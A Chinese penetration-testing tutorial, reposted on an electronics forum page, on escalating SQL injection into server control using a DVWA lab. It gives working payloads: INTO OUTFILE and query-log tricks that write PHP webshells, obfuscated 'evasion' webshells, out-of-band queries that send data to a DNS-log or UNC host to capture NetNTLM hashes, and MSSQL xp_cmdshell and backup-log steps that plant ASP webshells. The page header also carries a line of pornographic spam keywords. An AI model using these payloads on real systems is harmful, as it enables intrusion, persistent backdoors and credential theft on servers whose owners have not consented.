一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

SQL注入到Getshell的教程

我快閉嘴 ? 來(lái)源:哆啦安全 ? 作者:云天實(shí)驗(yàn)室 ? 2022-09-21 14:45 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

0x00 前言

上一節(jié),我們已經(jīng)介紹了基本的SQL查詢語(yǔ)句,常見的SQL注入類型,DVWA靶場(chǎng)演示SQL注入。學(xué)習(xí)了上一節(jié)我們可以做到執(zhí)行任意SQL語(yǔ)句,主要可以對(duì)數(shù)據(jù)庫(kù)的數(shù)據(jù)進(jìn)行操作,但是不能對(duì)服務(wù)器和應(yīng)用進(jìn)一步控制,本節(jié)就介紹下在有sql注入的情況下如何進(jìn)行下一步的滲透,獲取到服務(wù)器權(quán)限。

0x01 Getshell

這里我們還是以上一節(jié)說(shuō)的DVWA靶場(chǎng)為例,利用SQL注入漏洞寫入webshell獲取網(wǎng)站權(quán)限。

目標(biāo)環(huán)境:

PHP+MYSQL+LINUX

前提條件:

- mysql 是root權(quán)限

- 知道網(wǎng)站在服務(wù)器上的物理路徑,且可寫

- 沒(méi)有過(guò)濾單引號(hào)

- `PHP`的`GPC`為 off狀態(tài)

- mysql <= 5.6.34

當(dāng)`secure_file_priv`的值沒(méi)有具體值時(shí),表示不對(duì)`MySQL`的導(dǎo)入|導(dǎo)出做限制

SHOW VARIABLES LIKE "secure_file_priv";

如果是null,表示`MySQL`不允許導(dǎo)入導(dǎo)出。(NULL不等于沒(méi)有空)

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認(rèn)為NULL,并且無(wú)法用`SQL`語(yǔ)句對(duì)其進(jìn)行修改,并且會(huì)報(bào)錯(cuò)如下:

e96a5a74-3964-11ed-9e49-dac502259ad0.png

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

下載低版本的mysql測(cè)試

e990297a-3964-11ed-9e49-dac502259ad0.png

利用outfile和dumpfile,**outfile會(huì)在每行添加反斜杠,可導(dǎo)出多行,dumpfile只能導(dǎo)出一行,不會(huì)添加反斜杠,適合導(dǎo)出二進(jìn)制文件:

```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'#```

如果不能使用union查詢可以使用`fields terminated by`與`lines terminated by`:

```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''#```

修改配置getshell:

```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

小tricks:

利用日志文件getshell

```show variables like '%general%';  --查看配置,日志是否開啟,和mysql默認(rèn)log地址(記下原地址方便恢復(fù))set global general_log = on;    --開啟日志監(jiān)測(cè),默認(rèn)關(guān)閉(如果一直開文件會(huì)很大的)set global general_log_file = '/var/www/html/info.php';    --設(shè)置日志路徑select ' phpinfo();?>';    --執(zhí)行查詢,寫入shell
--SQL查詢免殺shellselect " $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT " $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查詢寫shell,只有當(dāng)查詢語(yǔ)句執(zhí)行的時(shí)間要超過(guò)系統(tǒng)默認(rèn)的時(shí)間時(shí),該語(yǔ)句才會(huì)被記入進(jìn)慢查詢?nèi)罩尽?/span>為什么要用慢查詢寫呢?上邊說(shuō)過(guò)開啟日志監(jiān)測(cè)后文件會(huì)很大,網(wǎng)站訪問(wèn)量大的話我們寫的shell會(huì)出錯(cuò)show global variables like '%long_query_time%'    --查看服務(wù)器默認(rèn)時(shí)間值show variables like '%slow_query_log%';    --查看慢查詢信息set global slow_query_log=1;        --啟用慢查詢?nèi)罩?默認(rèn)禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php';  --修改日志文件路徑select ' @eval($_POST[abc]);?>' or sleep(11);        --寫shell```

0x02 OOB

利用mysql的函數(shù),把信息傳遞到外網(wǎng)控制的機(jī)器,例如文件讀取的函數(shù),其實(shí)是對(duì)上面利用的一種變形和深度利用

前提條件:

- mysql <= 5.6.34

跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設(shè)置為null,直接被禁止了

```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

這里可能被利用竊取NetNtlm或者SMBrelay

responder -I eth0 -rv

e9aaf5b6-3964-11ed-9e49-dac502259ad0.png

0x03 MSSQL 執(zhí)行命令

當(dāng)碰到windows服務(wù)器上web應(yīng)用有MSSQL注入時(shí),可利用注入執(zhí)行命令寫webshell等

前提條件:

- SQL Server 2005以后默認(rèn)關(guān)閉,需要手動(dòng)開啟

查看xp_cmdshell是否開啟,并且使用語(yǔ)句開啟:

```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

執(zhí)行命令:

```exec master..xp_cmdshell 'whoami';```

如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復(fù)被刪除的xp_cmdshell

```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```

這里就涉及到上傳文件:

1.利用sql語(yǔ)句寫入

```exec sp_makewebtask  'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```

2.利用命令執(zhí)行,寫入或下載

```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```

3.db權(quán)限

```目錄情況:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通過(guò)修改id來(lái)遍歷目錄寫數(shù)據(jù) alter database 數(shù)據(jù)庫(kù)名 set RECOVERY FULL  開啟恢復(fù)模式full,當(dāng)恢復(fù)模式為 SIMPLE 時(shí),不允許使用 BACKUP LOG 語(yǔ)句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 數(shù)據(jù)庫(kù)名 to disk='c:可讀寫路徑x.asp'-- 這里的目錄注意是可讀寫目錄,不然會(huì)出問(wèn)題alter database 數(shù)據(jù)庫(kù)名 set RECOVERY simple-- 關(guān)閉恢復(fù)模式full```

其他:

- COM組件利用

- CLR利用

- SQL Server 2016 R利用

- SQL Server 2017 Python利用

- 沙盒利用(openrowset)

- Agent Job利用

0X04 總結(jié)

SQL注入到Getshell

審核編輯:湯梓紅
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    13

    文章

    9793

    瀏覽量

    87931
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    783

    瀏覽量

    45122

原文標(biāo)題:SQL注入到Getshell和OOB

文章出處:【微信號(hào):哆啦安全,微信公眾號(hào):哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    sql注入原理及預(yù)防措施

    SQL注入就是通過(guò)把SQL命令插入Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。對(duì)于很多網(wǎng)站都有
    發(fā)表于 03-21 14:47

    SQL注入擴(kuò)展移位溢注

    SQL注入擴(kuò)展移位溢注
    發(fā)表于 09-07 15:06 ?11次下載
    <b class='flag-5'>SQL</b><b class='flag-5'>注入</b>擴(kuò)展移位溢注

    基于SQL注入攻擊檢測(cè)與防御的方法

    顯露出來(lái),這些給人們的生活、工作、學(xué)習(xí)都帶來(lái)了巨大的損失。面對(duì)Web 網(wǎng)站存在的種種安全漏洞問(wèn)題,文章通過(guò)對(duì)大量SQL注入攻擊報(bào)文的攻擊特征進(jìn)行總結(jié)分析,結(jié)合SQL注入攻擊的攻擊特征和
    發(fā)表于 10-31 10:57 ?18次下載
    基于<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>攻擊檢測(cè)與防御的方法

    sql注入攻擊實(shí)例講解

     “SQL注入”是一種利用未過(guò)濾/未審核用戶輸入的攻擊方法(“緩存溢出”和這個(gè)不同),意思就是讓應(yīng)用運(yùn)行本不應(yīng)該運(yùn)行的SQL代碼。如果應(yīng)用毫無(wú)防備地創(chuàng)建了SQL字符串并且運(yùn)行了它們,就
    發(fā)表于 11-17 14:07 ?1.9w次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>攻擊實(shí)例講解

    網(wǎng)絡(luò)環(huán)境的SQL注入行為檢測(cè)

    SQL注入攻擊是Web應(yīng)用面臨的主要威脅之一,傳統(tǒng)的檢測(cè)方法針對(duì)客戶端或服務(wù)器端進(jìn)行。通過(guò)對(duì)SQL注入的一般過(guò)程及其流量特征分析,發(fā)現(xiàn)其在請(qǐng)求長(zhǎng)度、連接數(shù)以及特征串等方面,與正常流量相
    發(fā)表于 02-23 09:58 ?1次下載

    一文帶你了解安全測(cè)試基礎(chǔ)之SQL注入

    傳說(shuō),SQL注入是黑客對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊的常用手段,今天就來(lái)介紹一下SQL注入。
    的頭像 發(fā)表于 06-28 11:15 ?2473次閱讀

    訓(xùn)練SQL注入的sqil-labs-master闖關(guān)游戲

    訓(xùn)練SQL注入的sqil-labs-master闖關(guān)游戲
    發(fā)表于 05-14 09:31 ?0次下載

    SQL注入攻擊是什么 SQL注入會(huì)帶來(lái)哪些威脅

    AQL的定義 SQL是操作數(shù)據(jù)庫(kù)數(shù)據(jù)的結(jié)構(gòu)化查詢語(yǔ)言,網(wǎng)頁(yè)的應(yīng)用數(shù)據(jù)和后臺(tái)數(shù)據(jù)庫(kù)中的數(shù)據(jù)進(jìn)行交互時(shí)會(huì)采用SQL。而SQL注入是將Web頁(yè)面的原URL、表單域或數(shù)據(jù)包輸入的參數(shù),修改拼接
    的頭像 發(fā)表于 08-04 17:40 ?5440次閱讀

    Mybatis的SQL注入審計(jì)的基本方法

    SQL注入漏洞作為WEB安全的最常見的漏洞之一,在java中隨著預(yù)編譯與各種ORM框架的使用,注入問(wèn)題也越來(lái)越少。新手代碼審計(jì)者往往對(duì)Java Web應(yīng)用的多個(gè)框架組合而心生畏懼,不知如何下手,希望通過(guò)Mybatis框架使用不當(dāng)
    的頭像 發(fā)表于 10-17 11:16 ?1571次閱讀

    SQL語(yǔ)句利用日志寫shell及相關(guān)繞過(guò)

    在能夠?qū)?b class='flag-5'>SQL語(yǔ)句的地方,outfile、dumpfile、drop database等都被禁止,一般進(jìn)行SQL注入來(lái)getshell或刪庫(kù)的方式行不通了。
    的頭像 發(fā)表于 02-03 17:32 ?2092次閱讀

    超級(jí)SQL注入工具–SSQLInjection

    支持手動(dòng)靈活的進(jìn)行SQL注入繞過(guò),可自定義進(jìn)行字符替換等繞過(guò)注入防護(hù)。本工具為滲透測(cè)試人員、信息安全工程師等掌握SQL注入技能的人員設(shè)計(jì),需
    的頭像 發(fā)表于 03-07 10:26 ?2577次閱讀

    什么是SQL注入?Java項(xiàng)目防止SQL注入方式總結(jié)

    SQL注入即是指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒(méi)有判斷或過(guò)濾不嚴(yán),攻擊者可以在web應(yīng)用程序中事先定義好的查詢語(yǔ)句的結(jié)尾上添加額外的SQL語(yǔ)句,在管理員不知情的情況下實(shí)現(xiàn)非法操作,以此來(lái)實(shí)現(xiàn)欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意
    的頭像 發(fā)表于 09-25 10:43 ?1244次閱讀
    什么是<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>?Java項(xiàng)目防止<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>方式總結(jié)

    sql注入漏洞解決方法有哪些?

    什么是sql注入?SQL注入(SQLi)是一種執(zhí)行惡意SQL語(yǔ)句的注入攻擊。攻擊者可能會(huì)利用
    的頭像 發(fā)表于 10-07 17:29 ?5588次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>漏洞解決方法有哪些?

    什么是SQL注入?Java項(xiàng)目防止SQL注入方式

    Java項(xiàng)目防止SQL注入方式 這里總結(jié)4種: PreparedStatement防止SQL注入 mybatis中#{}防止SQL
    發(fā)表于 10-16 14:26 ?838次閱讀

    IP 地址在 SQL 注入攻擊中的作用及防范策略

    SQL 注入是通過(guò)將惡意的 SQL 代碼插入輸入?yún)?shù)中,欺騙應(yīng)用程序執(zhí)行這些惡意代碼,從而實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的非法操作。例如,在一個(gè)登錄表單中,如果輸入的用戶名被直接拼接到
    的頭像 發(fā)表于 08-05 17:36 ?630次閱讀